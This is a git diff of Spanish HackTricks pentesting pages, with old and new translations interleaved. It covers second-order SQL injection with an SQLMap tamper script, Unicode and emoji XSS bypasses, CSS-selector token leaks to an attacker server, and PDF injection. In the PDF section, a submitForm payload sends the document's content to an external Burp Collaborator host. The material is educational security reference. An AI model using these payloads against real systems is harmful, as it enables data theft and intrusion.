params = {"username":"asdasdasd", "email":payload, "password":"11111111"}
url = "http://10.10.10.10/create.php"
pr = requests.post(url, data=params, cookies=cookies, verify=False, allow_redirects=True, proxies=proxies)
params = {"username":"asdasdasd", "email":payload, "password":"11111111"}
url = "http://10.10.10.10/create.php"
pr = requests.post(url, data=params, cookies=cookies, verify=False, allow_redirects=True, proxies=proxies)
url = "http://10.10.10.10/exit.php"
pr = requests.get(url, cookies=cookies, verify=False, allow_redirects=True, proxies=proxies)
url = "http://10.10.10.10/exit.php"
pr = requests.get(url, cookies=cookies, verify=False, allow_redirects=True, proxies=proxies)
def tamper(payload, **kwargs):
headers = kwargs.get("headers", {})
login_account(payload)
return payload
headers = kwargs.get("headers", {})
login_account(payload)
return payload
```
Un **tamper de SQLMap siempre se ejecuta antes de comenzar una prueba de inyección con una carga útil y debe devolver una carga útil**. En este caso, no nos importa la carga útil, sino enviar algunas solicitudes, por lo que la carga útil no se cambia.
Un **tamper de SQLMap siempre se ejecuta antes de comenzar un intento de inyección con un payload** **y debe devolver un payload**. En este caso, no nos importa el payload, sino que nos interesa enviar algunas solicitudes, por lo que el payload no se cambia.
Por lo tanto, si por alguna razón necesitamos un flujo más complejo para explotar la inyección de SQL de segundo orden, como:
Entonces, si por alguna razón necesitamos un flujo más complejo para explotar la inyección SQL de segundo orden como:
* Crear una cuenta con la carga útil SQLi dentro del campo "correo electrónico"
* Crear una cuenta con el payload de SQLi dentro del campo "email"
* Cerrar sesión
* Iniciar sesión con esa cuenta (login.txt)
* Enviar una solicitud para ejecutar la inyección de SQL (second.txt)
* Enviar una solicitud para ejecutar la inyección SQL (second.txt)
**Esta línea de sqlmap ayudará:**
```bash
@ -87,16 +85,14 @@ sqlmap --tamper tamper.py -r login.txt -p email --second-req second.txt --proxy
```
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
- ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
Otras formas de apoyar a HackTricks:
- Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
- Obtén la [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
- **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) **grupo de Discord** o al [**grupo de telegram**](https://t.me/peass) o **sígueme en** **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
- **Comparte tus trucos de hacking enviando PRs al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
* Si quieres ver a tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF**, consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de github** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>

View file

@ -2,30 +2,28 @@
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
- ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
Otras formas de apoyar a HackTricks:
- Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
- Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
- **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
- **Comparte tus trucos de hacking enviando PR al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
* Si quieres ver a tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** revisa los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs exclusivos**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de github de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
## Introducción
Dependiendo de cómo se comporte el back-end/front-end cuando **recibe caracteres Unicode extraños**, un atacante podría ser capaz de **burlar las protecciones e inyectar caracteres arbitrarios** que podrían ser utilizados para **abusar de vulnerabilidades de inyección** como XSS o SQLi.
Dependiendo de cómo se comporte el back-end/front-end al **recibir caracteres unicode extraños**, un atacante podría ser capaz de **burlar protecciones e inyectar caracteres arbitrarios** que podrían ser utilizados para **explotar vulnerabilidades de inyección** como XSS o SQLi.
## Normalización Unicode
La normalización Unicode ocurre cuando los **caracteres Unicode se normalizan a caracteres ASCII**.
La normalización Unicode ocurre cuando **los caracteres unicode se normalizan a caracteres ascii**.
Un escenario común de este tipo de vulnerabilidad ocurre cuando el sistema está **modificando** de alguna manera la **entrada** del usuario **después de haberla verificado**. Por ejemplo, en algunos lenguajes, una simple llamada para hacer que la **entrada sea mayúscula o minúscula** podría normalizar la entrada dada y el **Unicode se transformará en ASCII** generando nuevos caracteres.\
Para obtener más información, consulte:
Un escenario común de este tipo de vulnerabilidad ocurre cuando el sistema está **modificando** de alguna manera la **entrada** del usuario **después de haberla verificado**. Por ejemplo, en algunos lenguajes una simple llamada para convertir la **entrada en mayúsculas o minúsculas** podría normalizar la entrada dada y el **unicode se transformará en ASCII**, generando nuevos caracteres.\
Para más información revisa:
{% content-ref url="unicode-normalization.md" %}
[unicode-normalization.md](unicode-normalization.md)
@ -33,19 +31,19 @@ Para obtener más información, consulte:
## `\u` a `%`
Los caracteres Unicode suelen representarse con el prefijo **`\u`**. Por ejemplo, el carácter `㱋` es `\u3c4b` ([compruébalo aquí](https://unicode-explorer.com/c/3c4B)). Si un back-end **transforma** el prefijo **`\u` en `%`**, la cadena resultante será `%3c4b`, que decodificada de URL es: **`<4b`**. Y, como se puede ver, se **inyecta un carácter `<`**.\
Los caracteres Unicode suelen representarse con el prefijo **`\u`**. Por ejemplo, el carácter `㱋` es `\u3c4b`([compruébalo aquí](https://unicode-explorer.com/c/3c4B)). Si un back-end **transforma** el prefijo **`\u` en `%`**, la cadena resultante será `%3c4b`, que al decodificarse en URL es: **`<4b`**. Y, como puedes ver, se inyecta un carácter **`<`**.\
Podrías usar esta técnica para **inyectar cualquier tipo de carácter** si el back-end es vulnerable.\
Comprueba [https://unicode-explorer.com/](https://unicode-explorer.com/) para encontrar los caracteres que necesitas.
Revisa [https://unicode-explorer.com/](https://unicode-explorer.com/) para encontrar los caracteres que necesitas.
Esta vulnerabilidad en realidad proviene de una vulnerabilidad que encontró un investigador, para una explicación más detallada, consulta [https://www.youtube.com/watch?v=aUsAHb0E7Cg](https://www.youtube.com/watch?v=aUsAHb0E7Cg)
Esta vulnerabilidad proviene de una vulnerabilidad que un investigador encontró, para una explicación más detallada revisa [https://www.youtube.com/watch?v=aUsAHb0E7Cg](https://www.youtube.com/watch?v=aUsAHb0E7Cg)
## Inyección de Emoji
## Inyección de Emojis
Los back-ends a veces se comportan de manera extraña cuando **reciben emojis**. Eso es lo que sucedió en [**este writeup**](https://medium.com/@fpatrik/how-i-found-an-xss-vulnerability-via-using-emojis-7ad72de49209) donde el investigador logró lograr un XSS con una carga útil como: `💋img src=x onerror=alert(document.domain)//💛`
Los back-ends a veces se comportan de manera extraña cuando **reciben emojis**. Eso es lo que ocurrió en [**este informe**](https://medium.com/@fpatrik/how-i-found-an-xss-vulnerability-via-using-emojis-7ad72de49209) donde el investigador logró un XSS con una carga útil como: `💋img src=x onerror=alert(document.domain)//💛`
En este caso, el error fue que el servidor después de eliminar los caracteres maliciosos **convirtió la cadena UTF-8 de Windows-1252 a UTF-8** (básicamente la codificación de entrada y la conversión de codificación no coincidían). Entonces esto no da un < adecuado sino uno Unicode extraño: ``\
``Así que tomaron esta salida y **la convirtieron de nuevo de UTF-8 a ASCII**. Esto **normalizó** el `` a `<` y así es como el exploit podría funcionar en ese sistema.\
Esto es lo que sucedió:
En este caso, el error fue que el servidor, después de eliminar los caracteres maliciosos, **convirtió la cadena UTF-8 de Windows-1252 a UTF-8** (básicamente la codificación de entrada y la conversión de codificación no coincidían). Entonces esto no da un < adecuado, solo un extraño unicode: ``\
``Entonces tomaron esta salida y **la convirtieron de nuevo ahora de UTF-8 a ASCII**. Esto **normalizó** el `` a `<` así es como el exploit pudo funcionar en ese sistema.\
Esto es lo que ocurrió:
```php
<?php
@ -63,16 +61,14 @@ Listas de emojis:
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><strong>Aprende a hackear AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
- ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
Otras formas de apoyar a HackTricks:
- Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
- Obtén la [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
- **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
- **Comparte tus trucos de hacking enviando PR al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
* Si quieres ver a tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de github de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>

View file

@ -1,24 +1,22 @@
# Código de Inyección de CSS
# Código de Inyección CSS
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
- ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
Otras formas de apoyar a HackTricks:
- Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
- Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
- **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de Telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
- **Comparte tus trucos de hacking enviando PRs al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
* Si quieres ver a tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF**, consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sigue** a **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de github de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
Encuentra las vulnerabilidades que más importan para que puedas solucionarlas más rápido. Intruder rastrea tu superficie de ataque, realiza escaneos proactivos de amenazas, encuentra problemas en toda tu pila tecnológica, desde APIs hasta aplicaciones web y sistemas en la nube. [**Pruébalo gratis**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) hoy.
Encuentra vulnerabilidades que importan más para poder arreglarlas más rápido. Intruder rastrea tu superficie de ataque, realiza escaneos proactivos de amenazas, encuentra problemas en todo tu stack tecnológico, desde APIs hasta aplicaciones web y sistemas en la nube. [**Pruébalo gratis**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) hoy.
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
@ -34,7 +32,11 @@ Encuentra las vulnerabilidades que más importan para que puedas solucionarlas m
@import url('//localhost:5001/start?');
</style>
```
```markdown
{% endcode %}
{% code title="server.js" %}
```
```javascript
const http = require('http');
const url = require('url');
@ -191,9 +193,9 @@ input[value=]{list-style:url(http://localhost:5001/end?token=&)};
/*
HTTP/1.1 200 OK
Content-Type: text/css
Fecha: Vie, 01 Abr 2022 14:35:39 GMT
Conexión: cerrar
Longitud del contenido: 2149
Date: Fri, 01 Apr 2022 14:35:39 GMT
Connection: close
Content-Length: 2149
@import url(http://localhost:5001/next?0.7834603960990516);
input[value$="0"]{--e0:url(http://localhost:5001/leak?post=0)}
@ -232,26 +234,25 @@ input[value^="f"]{--s0:url(http://localhost:5001/leak?pre=f)}
input{border-image:var(--s0)}
input[value=]{list-style:url(http://localhost:5001/end?token=&)};
*/
```
{% endcode %}
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
Encuentra las vulnerabilidades que más importan para que puedas solucionarlas más rápido. Intruder rastrea tu superficie de ataque, realiza escaneos proactivos de amenazas, encuentra problemas en toda tu pila tecnológica, desde APIs hasta aplicaciones web y sistemas en la nube. [**Pruébalo gratis**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) hoy.
Encuentra vulnerabilidades que realmente importan para que puedas solucionarlas más rápido. Intruder rastrea tu superficie de ataque, realiza escaneos proactivos de amenazas, encuentra problemas en todo tu stack tecnológico, desde APIs hasta aplicaciones web y sistemas en la nube. [**Pruébalo gratis**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) hoy.
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
- ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
Otras formas de apoyar a HackTricks:
- Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
- Obtén el [**merchandising oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
- **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de Telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
- **Comparte tus trucos de hacking enviando PRs al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
* Si quieres ver a tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sigue** a **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de GitHub de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>

View file

@ -1,40 +1,38 @@
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><strong>Aprende a hackear AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
- ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
Otras formas de apoyar a HackTricks:
- Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección de exclusivos [**NFTs**](https://opensea.io/collection/the-peass-family)
- Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
- **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
- **Comparte tus trucos de hacking enviando PRs al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** revisa los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* **Únete al grupo de** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de github de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
**Si tu entrada se refleja dentro de un archivo PDF, puedes intentar inyectar datos PDF para ejecutar JavaScript o robar el contenido del PDF.**
**Si tu entrada está siendo reflejada dentro de un archivo PDF, puedes intentar inyectar datos de PDF para ejecutar JavaScript o robar el contenido del PDF.**
La siguiente información fue tomada de [**https://portswigger.net/research/portable-data-exfiltration**](https://portswigger.net/research/portable-data-exfiltration)
## PDF-Lib
Esta vez, estaba usando [PDFLib](https://pdf-lib.js.org). Me tomé un tiempo para usar la biblioteca para crear una anotación y ver si podía inyectar un paréntesis de cierre en la URI de la anotación, ¡y funcionó! El código vulnerable de muestra que utilicé para generar el código de anotación fue:
Esta vez, estaba utilizando [PDFLib](https://pdf-lib.js.org). Me tomé un tiempo para usar la biblioteca para crear una anotación y ver si podía inyectar un paréntesis de cierre en la URI de la anotación - ¡y funcionó! El código vulnerable de muestra que utilicé para generar el código de la anotación fue:
`...` \
`A: {`\
`Type: 'Action',`\
`S: 'URI',`\
``URI: PDFString.of(`injection)`),``\
`}`\
`})`\
`Type: 'Action',`\
`S: 'URI',`\
``URI: PDFString.of(`injection)`),``\
`}`\
`})`\
`...`
[Código completo:](https://github.com/PortSwigger/portable-data-exfiltration/blob/main/PDF-research-samples/pdf-lib/first-injection/test.js)
¿Cómo supe que la inyección fue exitosa? El PDF se renderizaría correctamente a menos que inyectara un paréntesis de cierre. Esto demostró que el paréntesis de cierre estaba rompiendo la cadena y causando código PDF no válido. Romper el PDF fue bueno, pero necesitaba asegurarme de que podía ejecutar JavaScript, por supuesto. Miré el código PDF renderizado y noté que la salida estaba siendo codificada usando el filtro FlateDecode. Escribí un pequeño script para desinflar el bloque y la salida de la sección de anotación se veía así:`<<`\
¿Cómo supe que la inyección fue exitosa? El PDF se renderizaría correctamente a menos que inyectara un paréntesis de cierre. Esto demostró que el paréntesis de cierre estaba rompiendo el límite del texto y causando un código PDF inválido. Romper el PDF estuvo bien, pero necesitaba asegurarme de que podía ejecutar JavaScript, por supuesto. Miré el código PDF renderizado y noté que la salida estaba siendo codificada usando el filtro FlateDecode. Escribí un pequeño script para desinflar el bloque y la salida de la sección de anotación se veía así:`<<`\
`/Type /Annot`\
`/Subtype /Link`\
`/Rect [ 50 746.89 320 711.89 ]`\
@ -47,22 +45,90 @@ Esta vez, estaba usando [PDFLib](https://pdf-lib.js.org). Me tomé un tiempo par
`>>`\
`>>`
Como se puede ver claramente, la cadena de inyección está cerrando el límite de texto con un paréntesis de cierre, lo que deja un paréntesis de cierre existente que hace que el PDF se renderice incorrectamente:
Como puedes ver claramente, la cadena de inyección está cerrando el límite del texto con un paréntesis de cierre, lo que deja un paréntesis de cierre existente que hace que el PDF se renderice incorrectamente:
![Captura de pantalla que muestra un cuadro de diálogo de error al cargar el PDF](https://portswigger.net/cms/images/34/f4/3ed2-article-screenshot-showing-damaged-pdf.png)
![Captura de pantalla mostrando un diálogo de error al cargar el PDF](https://portswigger.net/cms/images/34/f4/3ed2-article-screenshot-showing-damaged-pdf.png)
Genial, así que pude romper la renderización del PDF, ¿y ahora qué? Necesitaba idear una inyección que llamara a algún JavaScript, la alerta(1) de la inyección PDF.
Genial, así que podía romper la renderización del PDF, ¿y ahora qué? Necesitaba idear una inyección que llamara a algún JavaScript - el alert(1) de la inyección de PDF.
Al igual que cómo los vectores XSS dependen del análisis del navegador, la explotabilidad de la inyección de PDF puede depender del renderizador de PDF. Decidí comenzar por apuntar a Acrobat porque pensé que los vectores tenían menos probabilidades de funcionar en Chrome. Dos cosas que noté: 1) Podías inyectar acciones de anotación adicionales y 2) si reparabas el paréntesis de cierre existente, entonces el PDF se renderizaría. Después de algunos experimentos, se me ocurrió una buena carga útil que inyectaba una acción de anotación adicional, ejecutaba JavaScript y reparaba el paréntesis de cierre:`/blah)>>/A<</S/JavaScript/JS(app.alert(1);)/Type/Action>>/>>(`
Primero rompo el paréntesis, luego salgo del diccionario usando >> antes de comenzar un nuevo diccionario de anotación. El /S/JavaScript hace que la anotación se base en JavaScript y el /JS es donde se almacena el JavaScript. Dentro de los paréntesis está nuestro JavaScript real. Nota que no tienes que escapar los paréntesis si están equilibrados. Finalmente, añado el tipo de anotación, termino el diccionario y reparo el paréntesis de cierre. Esto fue muy genial; pude crear una inyección que ejecutaba JavaScript pero ¿y qué, verdad? Puedes ejecutar JavaScript pero no tienes acceso al DOM, así que no puedes leer cookies. Luego James apareció y sugirió robar el contenido del PDF desde la inyección. Comencé a buscar formas de obtener el contenido de un PDF. En Acrobat, descubrí que puedes usar JavaScript para enviar formularios sin ninguna interacción del usuario. Mirando la especificación de la API de JavaScript, fue bastante sencillo modificar la inyección base y agregar algo de JavaScript que enviaría todo el contenido del código PDF a un servidor externo en una solicitud POST:`/blah)>>/A<</S/JavaScript/JS(app.alert(1);`\
`this.submitForm({`\
`cURL: 'https://your-id.burpcollaborator.net',cSubmitAs: 'PDF'}))`\
`/Type/Action>>/>>(`
La alerta no es necesaria; solo la agregué para probar que la inyección estaba ejecutando JavaScript.
